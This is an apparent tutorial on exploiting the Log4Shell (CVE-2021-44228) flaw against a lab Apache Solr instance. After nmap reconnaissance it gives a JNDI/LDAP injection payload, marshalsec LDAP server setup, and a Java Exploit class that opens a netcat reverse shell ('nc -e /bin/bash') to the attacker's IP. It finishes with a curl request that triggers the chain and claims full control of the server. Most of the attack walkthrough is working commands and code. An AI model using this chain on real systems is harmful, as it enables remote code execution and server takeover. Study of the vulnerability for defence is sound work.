Log4j Vulnerability - CVE-2021-44228 📗

• Introduction

This vulnerability was discovered on December 9, 2021, identified with CVE-2021-44228, this flaw affects the java log package, generating a Severity Score (CVSS) of 10 points , providing execution of remote access to the host. This vulnerability has been known to the security community as LOG4SHELL.

if you want a list of software vendors affected by the LOG4J vulnerability, check the repository below;

GitHub/Log4jAttackSurface

• Reconnaissance

To demonstrate this type of attack, we have a host with the vulnerable version (Apache Solr 8.11.0) of the log4j package with Java 1.8.0_181.

Start with basic reconnaissance to understand what ports are open on this machine using the nmap tool (Or any other of your interest).

nmap -v -p- poc.log4j - Host vulnerable

In this case, 3 open ports were found. Let's improve our nmap, informing only the open ports and the -sV command (Return the port application version)

nmap -v -p22,111,8983 -sV poc.log4j

Possibly we have an apache running on Port 8983. Below we can confirm the apache, this instance of Apache Solr is provisioned with no data whatsoever. It is a flat, vanilla, and absolutely minimum installation.

• Proof of Concept 📚

The main attack vector for log4j is in the application log, where if we look at the Solr screen, we can see the log enabled in Dsolr.log.dir.

Note that the URL endpoint that you have just uncovered needs to be prefaced with the solr/ prefix when viewing it from the web interface. This means that you should visit:

http://poc.log4j:8983/solr/admin/cores

• why /admin/cores ❓ 💬
  Here we find the vulnerability that can be exploited. This is a call that receives a variable(params={}) to be executed, we can manipulate this input and send our payload. Below we can see a log generated by apache calling this URL /admin/cores.
  

The format of the usual syntax that takes advantage of this looks like so;

${jndi:ldap://ATTACKERCONTROLLEDHOST}

This syntax indicates that the log4j will invoke functionality from "JNDI", or the "Java Naming and Directory Interface." Ultimately, this can be used to access external resources, or "references," which is what is weaponized in this attack. Notice the ldap:// schema, this indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol.

Where could we enter this syntax of ldap?

You can simply supply HTTP GET variables or parameters which will then processed and parsed by log4j. All it takes is this single line of text -- and that makes this vulnerability extremely easy to exploit.

Other locations you might supply this JNDI syntax:

• Input boxes, user and password login forms, data entry points within applications.
• HTTP headers such as User-Agent, X-Forwarded-For, or other customizable headers.
• Any place for user-supplied data.

The Host is really vulnerable ?

In this step, after we discover a version of log4j on the target host, we need to test it and see if that version is vulnerable.

We open port 6666 on the attacking host.

nc -vnlp 6666

Make a request including this primitive JNDI payload syntax as part of the HTTP parameters. This can easily be done with the curl command line utility.

when executing the payload, we get the return in our netcat on port 6666. 🙌

At this point, you have verified the target is in fact vulnerable by seeing this connection caught in your netcat listener. However, it made an LDAP request... so all your netcat listener may have seen was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.

Let's Explore 🤘

As we saw in curl above, we were able to use the LDAP protocol to receive a request in our NC. however, because we use another protocol, we are unable to visualize or manipulate the response.

The next step is to create an LDAP server so we can handle the requests, let's go!

• To speed up this POC, we will use the utility already ready in https://github.com/mbechler/marshalsec

• We need to use maven to use the marshalsec script. Maven available in apt install maven

• Inside the marshalsec repository, start with maven mvn clean package -DskipTests

• After building the jar, we can start the LDAP server to redirect requests

Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

Preparing the Exploit

We will leave the LDAP server running and create the script to explore the server.

• Below is the exploit we will use. Below is the exploit we will use. It is written in Java. Create an Exploit.java file with the class below.

#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

• Let's compile the exploit with javac Exploit.java -source 8 -target 8. The Exploit.class will be created.

• With the exploit ready, let's host it on the Python server python3 -m http.server.

• Let's open a port with NC to receive the java command bash that we created previously. we create a new nc -lnvp 9999.

• Let's put everything to work! Let's do a CURL forcing the server to look for our exploit on port 8000 that we created with Python.

curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'

• Done! 👏 We have full control of the server.

Okay, but how did all this happen ❓

• Below is a simple example of the exploration flow.